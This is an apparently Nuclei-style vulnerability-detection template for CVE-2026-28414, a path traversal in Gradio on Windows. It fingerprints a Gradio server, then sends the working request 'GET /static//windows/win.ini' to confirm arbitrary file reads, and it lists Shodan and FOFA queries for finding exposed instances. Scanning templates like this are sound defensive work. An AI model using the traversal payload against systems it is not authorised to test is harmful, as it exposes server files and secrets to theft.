Gradio - Absolute Path Traversal

id: CVE-2026-28414

info:
  name: Gradio - Absolute Path Traversal
  author: 0x_Akoko
  severity: high
  description: |
   Gradio < 6.7 on Windows with Python 3.13+ contains an absolute path traversal caused by incorrect path validation in path joining logic, letting unauthenticated attackers read arbitrary files from the server.
  impact: |
   Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
   Upgrade to version 6.7 or later.
  reference:
    - https://github.com/gradio-app/gradio/security/advisories/GHSA-39mp-8hj3-5c49
    - https://nvd.nist.gov/vuln/detail/CVE-2026-28414
  classification:
    cve-id: CVE-2026-28414
    epss-score: 0.02539
    epss-percentile: 0.84847
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-36
  metadata:
    verified: true
    max-request: 2
    vendor: gradio-app
    product: gradio
    shodan-query: 'http.title:"Gradio"'
    fofa-query: 'title="Gradio" || body="gradio-app"'
  tags: cve,cve2026,gradio,lfi,traversal,unauth,windows,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains_all(to_lower(body), "window.gradio_config", "__gradio_mode__")'
        condition: and

  - raw:
      - |
        GET /static//windows/win.ini HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/plain")'
          - 'contains_all(to_lower(body), "[fonts]", "[extensions]")'
        condition: and
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